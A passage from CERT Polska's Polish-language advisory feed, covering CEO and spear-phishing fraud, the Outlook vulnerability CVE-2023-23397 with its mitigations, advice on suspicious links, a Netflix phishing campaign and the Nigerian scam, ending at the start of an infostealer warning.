&lt;p&gt;Najczęstszym wektorem ataku są wiadomości e-mail. Ich treść sugeruje, że zaistniała konieczność natychmiastowej weryfikacji stanu konta lub uaktualnienia danych do przelewu, które w rzeczywistości są numerem konta oszusta. Sprawa może dotyczyć zarówno konta osobistego, jak i konta instytucji, w której pracujemy. Tego typu wiadomości mogą mieć charakter zarówno bardzo ogólnikowy, w postaci niepodpisanego e-maila, jak i być doskonale przygotowaną wiadomością, ze stopką instytucji i podpisem pracownika, najczęściej wysokiego szczebla. Niestety taki rodzaj ataku jest łatwy w przygotowaniu, ponieważ prawie wszystkie potrzebne dane są ogólnodostępne.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/spear-phishing/spear-phishing-2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Kolejnym wektorem ataku są wiadomość na komunikatorze WhatsApp, gdzie na wstępie atakujący pisząc z obcego numeru, przedstawia się jako rzekomy pracownik i, tłumacząc zmianę numeru awarią czy zgubieniem telefonu, nakłania do podjęcia określonych działań, które mają na celu wyłudzenie pieniędzy.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/spear-phishing/spear-hishing-whatsapp.jpg"&gt;&lt;/p&gt;
&lt;h1&gt;Skutki oszustwa&lt;/h1&gt;
&lt;p&gt;Przestępcy w trakcie komunikacji mają zwykle jeden cel -  przekonanie nieświadomego pracownika do przelewu pieniędzy na konto oszustów. Warto zauważyć, że jest to zazwyczaj konto zagranicznego banku, co ma utrudnić odzyskanie pieniędzy.&lt;/p&gt;
&lt;h1&gt;Ważne informacje&lt;/h1&gt;
&lt;p&gt;E-maile przy tego typu oszustwach mogą przychodzić zarówno z przypadkowych adresów i domen, jak i takich, które są właściwe dla danego podmiotu. W drugim przypadku przestępcy wykorzystują spoofing, czyli podszycie się pod danego adresata, co jest możliwe dzięki słabościom systemów mailowych, w szczególności z powodu błędów konfiguracyjnych dwóch mechanizmów - SPF i DMARC, o których można przeczytać w &lt;a href="https://cert.pl/posts/2021/10/mechanizmy-weryfikacji-nadawcy-wiadomosci/"&gt;naszym artykule&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Jak się chronić?&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Nie ulegać presji czasu i autorytetu – to właśnie dzięki wpłynięciu na emocje oszuści chcą skłonić ofiarę do szybkiego, nieprzemyślanego działania.&lt;/li&gt;
&lt;li&gt;Wprowadzić filtry antyspamowe – chociaż w wielu przypadkach pełne odfiltrowanie takich szkodliwych wiadomości nie będzie możliwe, to oznaczanie wiadomości przychodzących z nieznanych źródeł może wzmóc czujność.&lt;/li&gt;
&lt;li&gt;Weryfikować – zweryfikowanie żądania zmiany numeru konta czy wykonania przelewu innymi kanałami niż otrzymana wiadomość pozwoli wykryć próbę oszustwa.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Co zrobić w przypadku, gdy pieniądze zostały przelane oszustom?&lt;/h1&gt;
&lt;p&gt;W takim przypadku należy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;jak najszybciej skontaktować się z działem bezpieczeństwa w swojej organizacji&lt;/li&gt;
&lt;li&gt;zgłosić sprawę do banku, który świadczy usługi firmie albo instytucji&lt;/li&gt;
&lt;li&gt;zgłosić sprawę na najbliższym komisariacie Policji&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;W razie pytań lub wątpliwości zachęcamy do kontaktu z naszym zespołem. Podejrzane wiadomości można nam zgłosić za pomocą formularza na stronie: &lt;a href="https://incydent.cert.pl/"&gt;https://incydent.cert.pl/&lt;/a&gt; lub za pośrednictwem wiadomości e-mail na adres: &lt;a href="mailto:cert@cert.pl"&gt;cert@cert.pl&lt;/a&gt;.&lt;/p&gt;</content><category term="zagrożenia"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Aktywnie wykorzystywana krytyczna podatność w Microsoft Outlook (CVE-2023-23397)</title><link href="https://cert.pl/posts/2023/03/outlook-cve-2023-23397/" rel="alternate"></link><published>2023-03-14T22:00:00+01:00</published><updated>2023-03-14T22:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-03-14:/posts/2023/03/outlook-cve-2023-23397/</id><summary type="html">Microsoft opublikował informację o krytycznej podatności CVE-2023-23397 w aplikacji Outlook na systemie Windows. Może ona prowadzić do zdalnego przejęcia hasła domenowego, bez interakcji użytkownika. Podatność była aktywnie używana w atakach przez jedną z rosyjskich grup APT od kwietnia 2022 roku, w tym w Polsce. Rekomendujemy podjęcie natychmiastowych działań we wszystkich organizacjach, których użytkownicy korzystają z poczty poprzez klienta Microsoft Outlook.</summary><content type="html">&lt;p&gt;Microsoft opublikował informację o krytycznej podatności &lt;a href="https://msrc.microsoft.com/blog/2023/03/microsoft-mitigates-outlook-elevation-of-privilege-vulnerability/"&gt;CVE-2023-23397&lt;/a&gt; w aplikacji Outlook na systemie Windows. Może ona prowadzić do zdalnego przejęcia hasła domenowego, &lt;strong&gt;bez interakcji użytkownika&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Podatność była aktywnie używana w atakach przez jedną z rosyjskich grup APT od kwietnia 2022 roku, w tym w Polsce.&lt;/strong&gt; Rekomendujemy podjęcie natychmiastowych działań we wszystkich organizacjach, których użytkownicy korzystają z poczty poprzez klienta Microsoft Outlook.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aktualizacja 15.03:&lt;/strong&gt;
&lt;br&gt;Szczegóły podatności zostały już &lt;a href="https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"&gt;opisane publicznie&lt;/a&gt; i &lt;strong&gt;można się spodziewać masowych ataków z jej wykorzystaniem w najbliższych dniach&lt;/strong&gt;.&lt;/p&gt;
&lt;h1&gt;Szczegóły podatności i zagrożenia&lt;/h1&gt;
&lt;p&gt;Podatność pozwala na przechwycenie skrótu NTLMv2 i późniejszą próbę odzyskania hasła domenowego poprzez atak siłowy. W sytuacji gdy atakujący ma dostęp do sieci lokalnej ofiary, możliwe jest również bezpośrednie wykorzystanie skrótu NTLMv2 do zalogowania w innych usługach bez potrzeby jego łamania, tzw. NTLM relay.&lt;/p&gt;
&lt;p&gt;Do przeprowadzenia ataku wystarczy otrzymanie przez ofiarę wiadomości e-mail zawierającej odpowiednio spreparowane wydarzenie kalendarza albo zadanie, które spowoduje odwołanie do ścieżki UNC kontrolowanej przez atakującego. &lt;strong&gt;Nie jest wymagana żadna interakcja użytkownika. Atak może zostać przeprowadzony zdalnie.&lt;/strong&gt; Pozyskane hasło domenowe może być użyte do logowania do innych dostępnych publicznie usług firmowych, np. VPNa. Jeśli nie jest wykorzystywane uwierzytelnianie dwuskładnikowe, może to doprowadzić do uzyskania przez atakującego dostępu do sieci firmowej. &lt;/p&gt;
&lt;h1&gt;Podatne wersje i rekomendacje aktualizacji&lt;/h1&gt;
&lt;p&gt;Podatne są wszystkie wersje Microsoft Outlook na platformę Windows. Nie są podatne wersje na platformy Android, iOS, czy macOS. Usługi chmurowe jak Microsoft 365 również nie są podatne. Zalecamy niezwłoczną aktualizację klientów Outlook zgodnie z wytycznymi na dedykowanej stronie: &lt;a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397"&gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Tymczasowe obejścia i ogólne rekomendacje&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Zablokowanie ruchu wychodzącego po protokole SMB (445/TCP) z organizacji, lub ograniczenie go do zaufanych serwerów.&lt;/li&gt;
&lt;li&gt;Jeśli nie jest to możliwe do wdrożenia w krótkim czasie, dokładne monitorowanie ruchu wychodzącego po protokole SMB pod kątem odwołań do nowych serwerów.&lt;/li&gt;
&lt;li&gt;Jeśli jest to możliwe, wyłączenie uwierzytelniania mechanizmem NTLM poprzez dodanie kont użytkowników do grupy &lt;code&gt;Protected Users Security Group&lt;/code&gt; (w szczególności kont administratorów domeny). Uwaga: Może to mieć wpływ na działanie aplikacji, które wymagają NTLM.&lt;/li&gt;
&lt;li&gt;Stosowanie silnych haseł – znacząco utrudni to złamanie skrótu NTLMv2 pozyskanego poprzez wykorzystanie podatności.&lt;/li&gt;
&lt;li&gt;Stosowanie uwierzytelniania dwuskładnikowego, w szczególności do usług wystawionych do internetu, jak np. gateway VPN, czy OWA.&lt;/li&gt;
&lt;li&gt;Nieudostępnianie w internecie usług, które nie pozwalają na wykorzystanie uwierzytelniania dwuskładnikowego, jak RDP, czy SMB.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Wykrycie prób wykorzystania podatności&lt;/h1&gt;
&lt;p&gt;Firma Microsoft udostępniła skrypt Powershell, dzięki któremu można sprawdzić czy użytkownicy w organizacji otrzymali wiadomości umożliwiające wykorzystanie podatności. Jeżeli narzędzie wykaże obiekty z podanymi zewnętrznymi ścieżkami UNC, może to oznaczać, że Państwa organizacja padła ofiarą ataku. Rekomendujemy niezwłoczne użycie narzędzia przez administratorów serwerów Exchange.&lt;/p&gt;
&lt;p&gt;Link do narzędzia: &lt;a href="https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/"&gt;https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Zalecamy również przejrzenie archiwalnych logów sieciowych pod kątem ruchu wychodzącego po protokole SMB (445/TCP), do serwerów nie wykorzystywanych regularnie przez organizacje.&lt;/p&gt;
&lt;p&gt;W przypadku wykrycia prób wykorzystania podatności zalecamy niezwłoczną weryfikację logów w celu potwierdzenia możliwego przejęcia kont, rozpoczęcie procedury obsługi incydentu oraz skontaktowanie się z właściwym zespołem CSIRT:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://incydent.cert.pl/"&gt;CSIRT NASK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://csirt.gov.pl/cer/zgloszenie-incydentu/16,Zgloszenie-incydentu-do-CSIRT-GOV.html"&gt;CSIRT GOV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://csirt-mon.wp.mil.pl/pl/pages/zgloszenie-incydentu/"&gt;CSIRT MON&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="News"></category><category term="ostrzeżenie"></category><category term="podatność"></category><category term="exchange"></category></entry><entry><title>"Nie klikaj w podejrzane linki" - czyli jak nie ostrzegać przed zagrożeniem</title><link href="https://cert.pl/posts/2023/03/podejrzane-linki/" rel="alternate"></link><published>2023-03-13T15:30:00+01:00</published><updated>2023-03-13T15:30:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-03-13:/posts/2023/03/podejrzane-linki/</id><summary type="html">W ostatnich latach temat cyberbezpieczeństwa zyskuje coraz większą popularność. Przy okazji pojawiają się różne rekomendacje związane z tym zagadnieniem. W tym artykule skupimy się na wytłumaczeniu dlaczego „kliknięcie w link" nie musi być niebezpieczne oraz przedstawimy argumenty za tym dlaczego porada przestrzegająca przed „podejrzanymi" linkami nie jest klarowna i wymaga więcej wyjaśnienia.</summary><content type="html">&lt;p&gt;W ostatnich latach temat cyberbezpieczeństwa zyskuje coraz
większą popularność. Przy okazji pojawiają się różne rekomendacje
związane z tym zagadnieniem. Na szczególną uwagę zasługują wszelkie zalecenia
mówiące o „nieklikaniu w podejrzane linki", które zazwyczaj są tworzone w
zestawieniu z alarmującymi tytułami, jak np.: „Kliknęła w link i
straciła oszczędności". 
W tym artykule skupimy się na wytłumaczeniu dlaczego „kliknięcie w link" nie musi być
niebezpieczne oraz przedstawimy argumenty za tym dlaczego porada przestrzegająca przed „podejrzanymi" linkami &lt;strong&gt;nie jest jasna&lt;/strong&gt; i wymaga szerszego omówienia.&lt;/p&gt;
&lt;p&gt;Sytuacja zazwyczaj wyglądała następująco: ktoś kliknął w link i trafił na
stronę, która była łudząco podobna do strony internetowej banku lub
portalu społecznościowego. Użytkownik nie dostrzegł różnicy i wpisał
swoje dane do logowania. Oszuści wykorzystali wyłudzone dane, aby
uzyskać dostęp do konta i środków ofiary. Z perspektywy
użytkownika utrata środków mogła wyglądać na
bezpośrednie następstwo kliknięcia w nieodpowiedni link. Jednak w
rzeczywistości najistotniejszym problemem nie było samo kliknięcie w
link, ale to, że strona, na której podał dane, była fałszywa. Należy
podkreślić, że jest możliwe stworzenie strony o dowolnym wyglądzie.
Dlatego też strony tworzone przez oszustów mogą wyglądać właściwie tak
samo jak prawdziwe. W związku z tym należy zwracać szczególną uwagę na
wszystkie formularze do podawania danych.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Fałszywy panel logowania do iPKO" src="/uploads/2023/03/podejrzane-linki/fake-ipko.png"&gt;&lt;/p&gt;
&lt;h2&gt;Zacznijmy od wyjaśnienia czym są linki&lt;/h2&gt;
&lt;p&gt;Linki (hiperłącza) to odnośniki, które umożliwiają użytkownikom
internetu swobodne przemieszczanie się między materiałami i treściami na
stronach internetowych lub między miejscami w danym dokumencie.&lt;/p&gt;
&lt;p&gt;Wielu użytkownikom linki kojarzą się przede wszystkim z SMS-ami i
wiadomościami email, gdzie najczęściej są widoczne jako klikalny 
adres strony zaczynający się zazwyczaj od &lt;code&gt;http://&lt;/code&gt; lub &lt;code&gt;https://&lt;/code&gt;. 
Linki jednak mogą się także kryć pod dowolnym klikalnym elementem 
na stronie internetowej lub w wiadomości email.&lt;/p&gt;
&lt;p&gt;Linki zawierają w sobie tekst widziany przez użytkownika oraz informację
o docelowym adresie lub zasobie. Niektóre źródła radzą by skierować kursor myszki na link, 
co spowoduje wyświetlenie docelowego adresu URL w lewym dolnym rogu okna.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Wyświetlony docelowy adres URL" src="/uploads/2023/03/podejrzane-linki/url-preview.png"&gt;&lt;/p&gt;
&lt;p&gt;Należy jednak zwrócić uwagę, że dla przeciętnego użytkownika przeanalizowanie wyświetlonego linku lub adresu może okazać się trudne. 
Dodatkowo, ten sposób nie sprawdzi się w przypadku powszechnie stosowanych dziś skracaczy, czyli
narzędzi, które pozwalają zamienić długi adres internetowy na zaledwie
kilka znaków. Jeśli takie narzędzie zostało zastosowane, to poznanie
domeny docelowej będzie możliwe &lt;strong&gt;dopiero po wejściu we wskazany link&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Czy kliknięcie w link może być niebezpieczne?&lt;/h2&gt;
&lt;p&gt;Warto to podkreślić, &lt;strong&gt;samo kliknięcie w link w znaczącej większości przypadków nie jest niebezpieczne&lt;/strong&gt;.
Dopiero akcje wykonane na stronie lub zawartości kontrolowanej przez oszustów mogą przynieść szkody.&lt;/p&gt;
&lt;p&gt;Jednak od każdej reguły musi istnieć wyjątek i o nim też musimy powiedzieć. 
Są to podatności, czyli błędy i luki w oprogramowaniu. Przestępcy mogą je wykorzystać, aby
poprzez stronę internetową uzyskać dostęp do jakichś zasobów, które
normalnie powinny być niedostępne bez dodatkowej interakcji ze strony
użytkownika. Jednak nie powinniśmy się tego obawiać jeżeli na bieżąco aktualizujemy oprogramowanie - zabezpiecza to nas przed ich wykorzystaniem.&lt;/p&gt;
&lt;p&gt;Oczywiście możliwe jest, że staniemy się ofiarą ataku wykorzystującego
nieznane podatności, jednak jest to niezwykle mało prawdopodobne. 
Wynika to z faktu, że znalezienie takowych w
dojrzałym oprogramowaniu jest trudne, więc koszt takiego ataku jest
bardzo wysoki. Warto też wspomnieć, że nie są znane masowe kampanie, w których atakujący na dużą skalę wykorzystywaliby nieznane podatności - spowodowałoby to ich natychmiastowe wykrycie przez specjalistów.&lt;/p&gt;
&lt;h2&gt;Kiedy linki możemy uznać za podejrzane?&lt;/h2&gt;
&lt;p&gt;Na ogół nasze wątpliwości budzą te wiadomości, których się nie
spodziewamy. Jednak oszuści, aby uśpić naszą czujność, wysyłają
wiadomości nie wzbudzające podejrzeń, czyli takie, które faktycznie
moglibyśmy otrzymać. Należy bowiem pamiętać, że wiadomości phishingowe
są bardzo często podobne do prawdziwych komunikatów różnych usługodawców. 
Dla przeciętnego odbiorcy, który nie dysponuje wiedzą o technikach stosowanych przez
oszustów, weryfikacja nadawcy może się okazać utrudniona.&lt;/p&gt;
&lt;p&gt;Należy podkreślić, że możliwe jest sfałszowanie pola nadawcy w
wiadomości SMS. Przestępcy mogą zrobić to za pomocą ogólnodostępnych
narzędzi. Analogiczna sytuacja ma miejsce w przypadku wiadomości
mailowych. Chociaż nazwa nadawcy może wskazywać na jakąś firmę lub się z
nią kojarzyć, to w rzeczywistości nie powinniśmy brać tego jako wyznacznik prawdziwości wiadomości. 
Możliwa jest bowiem sytuacja, że dana wiadomość została wysłana
przez kogoś innego. &lt;/p&gt;
&lt;p&gt;Warto też pamiętać, że linki do stron o charakterze phishingowym są
dystrybuowane nie tylko za pomocą wiadomości mailowych i SMSów. Można
natknąć się na nie np. we wpisach na portalach społecznościowych i w prywatnych
wiadomościach wysłanych z przejętych kont. Prowadzą one do stron 
podszywających się pod zadany podmiot i ich celem jest zachęcenie do podania poufnych informacji.&lt;/p&gt;
&lt;p&gt;Nadal popularne są też &lt;a href="https://cert.pl/posts/2022/04/classiscam/"&gt;oszustwa na platformach aukcyjnych, gdzie sprzedawcy otrzymują linki do stron, na których
rzekomo można odebrać pieniądze za sprzedany przedmiot&lt;/a&gt;. Na stronach tych użytkownik proszony jest o podanie danych karty płatniczej lub wyświetlana mu jest spreparowana strona logowania swojego banku.&lt;/p&gt;
&lt;p&gt;Ostatnio linki do stron phishingowych są zamieszczane także w reklamach
w wyszukiwarce i wyglądają jak zwykłe wyniki wyszukiwania.&lt;/p&gt;
&lt;h2&gt;Jak więc możemy się uchronić przed podaniem danych na fałszywej stronie?&lt;/h2&gt;
&lt;p&gt;Za każdym razem, gdy widzimy stronę, która prosi nas o dane, a w
szczególności, gdy zobaczymy jakiś panel logowania, należy dokładnie
sprawdzić na jakiej stronie rzeczywiście się znaleźliśmy.&lt;/p&gt;
&lt;p&gt;Możemy to zrobić jedynie poprzez sprawdzenie domeny strony, na której
jesteśmy (np. teraz jesteście na domenie &lt;code&gt;cert.pl&lt;/code&gt;). 
Nazwa domeny znajduje się w pasku adresu i jest zazwyczaj oznaczona nieco innym kolorem. Należy ją porównać z
domeną, którą zawsze widzimy, gdy się logujemy do danego serwisu.&lt;/p&gt;
&lt;p&gt;Warto rozważyć też użycie menedżera haseł. Menadżer haseł nie tylko
ułatwi nam korzystanie z internetu, bo nie będziemy musieli pamiętać
wszystkich haseł do kilkunastu lub kilkudziesięciu różnych usług
internetowych, z których korzystamy, ale przede wszystkim zwiększy nasze
bezpieczeństwo. Jeśli menadżer haseł oferuje integrację z przeglądarką
np. w formie wtyczki lub jest już w nią wbudowany, to taki menadżer
haseł powiąże hasło z daną stroną i pozwoli na jego uzupełnienie tylko
na prawdziwej stronie.&lt;/p&gt;
&lt;p&gt;Innym dobrym sposobem jest korzystanie z kluczy bezpieczeństwa FIDO2. Są
to wygodne i łatwe w użyciu urządzenia, które wystarczy nosić ze sobą i
wpiąć w port USB komputera albo przyłożyć do telefonu, gdy chcemy się
zalogować.&lt;/p&gt;
&lt;p&gt;Dodatkowo, w przypadku operacji bankowych przed potwierdzeniem ich,
należy dokładnie przeczytać opis w SMS-ie z kodem lub powiadomieniu w
aplikacji bankowej i sprawdzić czy rodzaj operacji oraz kwota się
zgadzają.&lt;/p&gt;</content><category term="News"></category><category term="informacja"></category><category term="poradnik"></category></entry><entry><title>Kampania phishingowa wykorzystująca wizerunek serwisu Netflix</title><link href="https://cert.pl/posts/2023/03/phishing-netflix/" rel="alternate"></link><published>2023-03-08T10:00:00+01:00</published><updated>2023-03-08T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-03-08:/posts/2023/03/phishing-netflix/</id><summary type="html">Ostrzegamy przed kampanią phishingową ukierunkowaną na klientów serwisu Netflix. Celem przestępców jest wyłudzenie danych dostępowych do konta oraz poufnych informacji związanych z kartą płatniczą.</summary><content type="html">&lt;p&gt;CERT Polska od dłuższego czasu obserwuje kampanię phishingową ukierunkowaną na użytkowników serwisu streamingowego Netflix. Celem przestępców jest wyłudzenie dostępu do konta do serwisu Netflix oraz danych karty płatniczej.&lt;/p&gt;
&lt;h1&gt;Schemat działania&lt;/h1&gt;
&lt;p&gt;Standardowo oszustwo rozpoczyna się od wiadomości mailowej w języku polskim, której celem jest przykucie uwagi potencjalnej ofiary. Maile są rozsyłane pod przypadkowe adresy, także do osób nieposiadających konta w serwisie Netflix.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/netflix-phishing/mail2.png"&gt;&lt;/p&gt;
&lt;p&gt;Charakterystyczną cechą tej kampanii jest szeroki wachlarz szablonów wiadomości stosowanych przez oszustów. Informują one np. o rzekomych problemach z rozliczeniem ostatniej płatności, aktualizacji warunków korzystania z usługi czy możliwości uzyskania zwrotu za niesłuszne obciążenie karty w wyniku awarii. Jednak wszystkie te wiadomości zawierają niezmienny element - link prowadzący do kontrolowanej przez oszustów strony. Warto zwrócić uwagę, że te strony najczęściej są na domenie ze strefy .pl i nie próbują w żaden sposób imitować prawidłowej domeny netflix.com.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/netflix-phishing/webpage1.png"&gt;&lt;/p&gt;
&lt;p&gt;Po podaniu danych logowania trafiają one w ręce oszustów, którzy mogą wykorzystać je do przejęcie konta. Natomiast ofiara, będąc ciągle na stronie kontrolowanej przez oszustów, jest informowana o rzekomych problemach z ostatnią płatnością i wynikającą z nich koniecznością aktualizacji danych. Strona wymaga w tym celu uzupełnienia formularza, który obejmuje dane osobowe oraz dane karty płatniczej, takie jak jej numer, data ważności oraz kod zabezpieczający (CVV), wykorzystywany do autoryzacji transakcji.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/netflix-phishing/webpage2.png"&gt;&lt;/p&gt;
&lt;p&gt;Po jego wysłaniu strona wyświetla komunikat końcowy i może przekierować do prawdziwej witryny. W tym momencie oszuści mogą wykorzystać uzyskane informacje do wyprowadzenia środków z rachunku bankowego, do którego przypisana jest karta.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/netflix-phishing/webpage3.png"&gt;&lt;/p&gt;
&lt;p&gt;Dodatkowo, nasz zespół zaobserwował identyczną kampanię, która różniła się jedynie sposobem dystrybucji. W tym przypadku oszuści wysyłali wiadomości SMS, które zawierały informację o tymczasowej blokadzie konta. Miała ona rzekomo zostać usunięta po zweryfikowaniu danych przez użytkownika. Link zamieszczony w wiadomości ponownie prowadził do strony wyłudzającej dane użytkowników.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/netflix-phishing/sms.png"&gt;&lt;/p&gt;
&lt;h1&gt;Jak się chronić?&lt;/h1&gt;
&lt;p&gt;W przypadku otrzymania wiadomości mailowej należy zwracać szczególną uwagę, czy adres nadawcy nie budzi wątpliwości. Ponadto warto uważnie czytać treść maila - wiadomości oszustów, choć są napisane w polskim języku, bardzo często zawierają błędy językowe i literówki. &lt;strong&gt;Przed logowaniem na stronie należy sprawdzić, czy jej adres zgadza się z domeną serwisu Netflix&lt;/strong&gt; (w tym przypadku &lt;strong&gt;netflix.com&lt;/strong&gt;). W razie wątpliwości co do prawdziwości otrzymanej wiadomości lub strony internetowej zalecamy powstrzymanie się od podawania jakichkolwiek informacji i kontakt z pomocą techniczną serwisu Netflix lub przesłanie zgłoszenia do naszego zespołu za pośrednictwem &lt;a href="https://incydent.cert.pl"&gt;formularza&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Co zrobić w przypadku, gdy doszło do wyłudzenia danych&lt;/h1&gt;
&lt;p&gt;W pierwszej kolejności należy natychmiast skontaktować się z bankiem i zastrzec kartę płatniczą. Następnie zalecamy podjąć kroki w celu zabezpieczenia konta na platformie Netflix. W tym celu rekomendujemy zmianę hasła i zakończenie wszystkich nieznanych sesji (więcej informacji na ten temat można znaleźć na stronie &lt;a href="https://help.netflix.com/pl/node/13243"&gt;pomocy technicznej&lt;/a&gt;). Gdy konto zostało już przejęte i nie ma możliwości zalogowania się do niego wówczas należy skontaktować się z pomocą techniczną platformy. Jeżeli doszło do obciążenia rachunku to należy zgłosić kradzież organom ścigania, a następnie złożyć reklamację w banku lub skorzystać z mechanizmu ChargeBack.&lt;/p&gt;</content><category term="zagrożenia"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Nigeryjski przekręt</title><link href="https://cert.pl/posts/2023/02/nigerian-scam/" rel="alternate"></link><published>2023-02-24T15:00:00+01:00</published><updated>2023-02-24T15:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-02-24:/posts/2023/02/nigerian-scam/</id><summary type="html">Nigeryjski przekręt jest jednym z najstarszych oszustw. Schemat z wiadomości przesyłanych listownie przeszedł na wiadomości mailowe w latach 80 XX wieku. W początkowych scenariuszach nadawca wiadomości oferował transfer bardzo dużej kwoty pieniędzy, które miały najczęściej pochodzić z Nigerii.</summary><content type="html">&lt;p&gt;Nigeryjski przekręt jest jednym z najstarszych oszustw. Schemat z wiadomości przesyłanych listownie przeszedł na wiadomości mailowe w latach 80 XX wieku. W początkowych scenariuszach nadawca wiadomości oferował transfer bardzo dużej kwoty pieniędzy, które najczęściej miały pochodzić z Nigerii.&lt;/p&gt;
&lt;h1&gt;Schemat działania&lt;/h1&gt;
&lt;p&gt;Oszustwo rozpoczyna się od wiadomości email, z której wynika, że odbiorca ma okazję bardzo łatwo się wzbogacić.
Pierwsza wiadomość informuje o możliwości uzyskania dużych ilości pieniędzy oraz zachęca do kontaktu zwrotnego. Jeśli potencjalna ofiara odpowie na wiadomość, przestępcy przy pomocy działań socjotechnicznych namawiają do wpłaty pieniędzy na konto oszusta. Ma to rzekomo sfinansować kilka małych przedsięwzięć, które mają być niezbędnym krokiem przed zdobyciem fortuny oferowanej w początkowej wiadomości.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/nigerian-scam/nigerian-scam-2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Przestępcy zazwyczaj w celu uwiarygodnienia swojej historii przesyłają spreparowane dokumenty lub zdjęcia. Ofiary po wykonaniu jednej lub kilku wpłat na coraz to większe kwoty orientują się, że padli ofiarą oszustwa.&lt;/p&gt;
&lt;p&gt;Najczęściej spotykane motywy wiadomości to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Możliwość otrzymania spadku&lt;/li&gt;
&lt;li&gt;Wygrana w loterii organizowanej przez znanego milionera&lt;/li&gt;
&lt;li&gt;Pomoc w transferze pieniędzy z zagranicznych kont w celach inwestycyjnych&lt;/li&gt;
&lt;li&gt;Pomoc w ucieczce skorumpowanego urzędnika&lt;/li&gt;
&lt;li&gt;Pomoc w opłaceniu leczenia chorego członka rodziny&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Jak się chronić?&lt;/h1&gt;
&lt;p&gt;Wszelkie wiadomości, według których możemy zdobyć ogromne środki pieniężne niskim nakładem, oferty przejęcia spadku albo bycia pośrednikiem w transakcjach na duże kwoty powinny zawsze wzbudzać naszą czujność. Oszuści zazwyczaj starają się dopasować język do narodowości ofiary.
Najlepszą ochroną jest czujność, w tym analiza wiadomości od nieznanych nadawców oraz nieuleganie zbyt optymistycznym ofertom.&lt;/p&gt;
&lt;h1&gt;Co zrobić w przypadku utraty pieniędzy?&lt;/h1&gt;
&lt;p&gt;Chociaż odzyskanie pieniędzy w takim przypadku może okazać się trudne, sprawę należy zgłosić na Policję, ponieważ jest to podmiot posiadający uprawnienia organów ścigania. W tym celu najlepiej się udać na najbliższy komisariat policji z wydrukowanymi materiałami dokumentującymi incydent. Oszustwo nigeryjskie jest klasyfikowane jako przestępstwo przez polskie ustawodawstwo zgodnie z art. 286 k.k.
Zalecamy również złożenie reklamacji w banku, w niektórych przypadkach może to doprowadzić do zablokowania środków jeszcze przed odebraniem ich przez oszustów.&lt;/p&gt;
&lt;p&gt;W razie pytań lub wątpliwości zachęcamy do kontaktu z naszym zespołem. Podejrzane wiadomości można nam zgłosić za pomocą formularza na stronie: &lt;a href="https://incydent.cert.pl"&gt;https://incydent.cert.pl&lt;/a&gt; lub za pośrednictwem wiadomości e-mail na adres: &lt;a href="mailto:cert@cert.pl"&gt;cert@cert.pl&lt;/a&gt;.&lt;/p&gt;</content><category term="zagrożenia"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Infekcje szkodliwym oprogramowaniem typu infostealer</title><link href="https://cert.pl/posts/2023/02/information-stealer/" rel="alternate"></link><published>2023-02-16T15:00:00+01:00</published><updated>2023-02-16T15:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-02-16:/posts/2023/02/information-stealer/</id><summary type="html">Przestępcy próbują doprowadzić do infekcji komputera ofiary wszelkimi możliwymi sposobami. Bardzo częstym wektorem ataku są masowo wysyłane emaile zawierające złośliwe załączniki, które mają zostać otworzone i uruchomione przez ofiarę.</summary><content type="html">&lt;p&gt;W ostatnim czasie zespół CERT Polska zaobserwował wzmożoną dystrybucję malspamu na skrzynki pocztowe polskich użytkowników. Celem ataku jest zainfekowanie komputera szkodliwym oprogramowaniem typu infostealer.&lt;/p&gt;
&lt;h1&gt;Schemat działania na przykładzie kampanii wykorzystującej wizerunek Głównego Urzędu Statystycznego&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;1.Otrzymanie wiadomości e-mail&lt;/strong&gt;&lt;/p&gt;
